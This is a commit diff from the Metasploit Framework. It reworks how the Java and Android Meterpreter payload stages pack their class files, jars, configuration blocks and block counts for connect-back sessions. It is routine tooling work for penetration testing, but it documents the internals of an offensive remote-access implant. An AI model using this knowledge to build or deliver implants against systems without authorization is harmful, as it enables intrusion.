Skip to content

Commit a773979

Browse files
committed
Java config wiring, tweak to include block counts
This commit adjusts the way that the config block is set for java and android because behind the scenes the stageless connect-backs need to know what to discard. as a result of connecting back to staged listeners we need to be able to discard a number of bytes/blocks before we can continue process (at least in the case of TCP).
1 parent 98156ec commit a773979

File tree

3 files changed

+63
-32
lines changed

3 files changed

+63
-32
lines changed

lib/msf/core/payload/java.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,9 @@ def generate_stage(opts={})
1818
stage = ''
1919
@stage_class_files.each do |path|
2020
data = MetasploitPayloads.read('java', path)
21-
stage << ([data.length].pack("N") + data)
21+
stage << [data.length, data].pack('NA*')
2222
end
23-
stage << [0].pack("N")
23+
stage << [0].pack('N')
2424

2525
stage
2626
end

modules/payloads/stages/android/meterpreter.rb

Lines changed: 15 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -15,20 +15,16 @@ module Metasploit4
1515

1616
def initialize(info = {})
1717
super(update_info(info,
18-
'Name' => 'Android Meterpreter',
18+
'Name' => 'Android Meterpreter',
1919
'Description' => 'Run a meterpreter server on Android',
20-
'Author' => [
21-
'mihi', # all the hard work
22-
'egypt', # msf integration
23-
'anwarelmakrahy' # android extension
24-
],
20+
'Author' => ['mihi', 'egypt', 'anwarelmakrahy', 'OJ Reeves'],
2521
'Platform' => 'android',
26-
'Arch' => ARCH_DALVIK,
27-
'License' => MSF_LICENSE,
28-
'Session' => Msf::Sessions::Meterpreter_Java_Android))
22+
'Arch' => ARCH_DALVIK,
23+
'License' => MSF_LICENSE,
24+
'Session' => Msf::Sessions::Meterpreter_Java_Android
25+
))
2926

30-
register_options(
31-
[
27+
register_options([
3228
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
3329
], self.class)
3430
end
@@ -38,14 +34,20 @@ def initialize(info = {})
3834
# used as the final stage
3935
#
4036
def generate_stage(opts={})
41-
# TODO: wire the UUID into the stage
4237
clazz = 'androidpayload.stage.Meterpreter'
4338
metstage = MetasploitPayloads.read("android", "metstage.jar")
4439
met = MetasploitPayloads.read("android", "meterpreter.jar")
4540

4641
# Name of the class to load from the stage, the actual jar to load
4742
# it from, and then finally the meterpreter stage
48-
java_string(clazz) + java_string(metstage) + java_string(met) + java_string(generate_config(opts))
43+
blocks = [
44+
java_string(clazz),
45+
java_string(metstage),
46+
java_string(met),
47+
java_string(generate_config(opts))
48+
]
49+
50+
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
4951
end
5052

5153
def generate_config(opts={})

modules/payloads/stages/java/meterpreter.rb

Lines changed: 46 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -10,28 +10,27 @@
1010
require 'msf/base/sessions/meterpreter_options'
1111

1212

13-
module Metasploit3
13+
module Metasploit4
14+
1415
include Msf::Sessions::MeterpreterOptions
1516

1617
# The stager should have already included this
1718
#include Msf::Payload::Java
1819

1920
def initialize(info = {})
2021
super(update_info(info,
21-
'Name' => 'Java Meterpreter',
22-
'Description' => 'Run a meterpreter server in Java',
23-
'Author' => [
24-
'mihi', # all the hard work
25-
'egypt' # msf integration
26-
],
27-
'Platform' => 'java',
28-
'Arch' => ARCH_JAVA,
29-
'PayloadCompat' =>
30-
{
22+
'Name' => 'Java Meterpreter',
23+
'Description' => 'Run a meterpreter server in Java',
24+
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
25+
'Platform' => 'java',
26+
'Arch' => ARCH_JAVA,
27+
'PayloadCompat' => {
3128
'Convention' => 'javasocket javaurl',
3229
},
33-
'License' => MSF_LICENSE,
34-
'Session' => Msf::Sessions::Meterpreter_Java_Java))
30+
'License' => MSF_LICENSE,
31+
'Session' => Msf::Sessions::Meterpreter_Java_Java
32+
))
33+
3534
# Order matters. Classes can only reference classes that have already
3635
# been sent. The last .class must implement Stage, i.e. have a start()
3736
# method.
@@ -54,12 +53,42 @@ def initialize(info = {})
5453
# used as the final stage; calls super to get the intermediate stager.
5554
#
5655
def generate_stage(opts={})
57-
# TODO: wire the UUID into the stage
5856
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
57+
config = generate_config(opts)
58+
59+
# All of the dependencies to create a jar loader, followed by the length
60+
# of the jar and the jar itself, then the config
61+
blocks = [
62+
super(opts),
63+
[met.length, met].pack('NA*'),
64+
[config.length, config].pack('NA*')
65+
]
66+
67+
# Deliberate off by 1 here. The call to super adds a null terminator
68+
# so we would add 1 for the null terminate and remove one for the call
69+
# to super.
70+
block_count = blocks.length + @stage_class_files.length
5971

60-
# All of the dendencies to create a jar loader, followed by the length
61-
# of the jar and the jar itself.
62-
super(opts) + [met.length].pack("N") + met
72+
# Pack all the magic together
73+
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
6374
end
6475

76+
def generate_config(opts={})
77+
opts[:uuid] ||= generate_payload_uuid
78+
79+
# create the configuration block, which for staged connections is really simple.
80+
config_opts = {
81+
ascii_str: true,
82+
arch: opts[:uuid].arch,
83+
expiration: datastore['SessionExpirationTimeout'].to_i,
84+
uuid: opts[:uuid],
85+
transports: [transport_config(opts)]
86+
}
87+
88+
# create the configuration instance based off the parameters
89+
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
90+
91+
# return the XML version of it
92+
config.to_b
93+
end
6594
end

0 commit comments

Comments
 (0)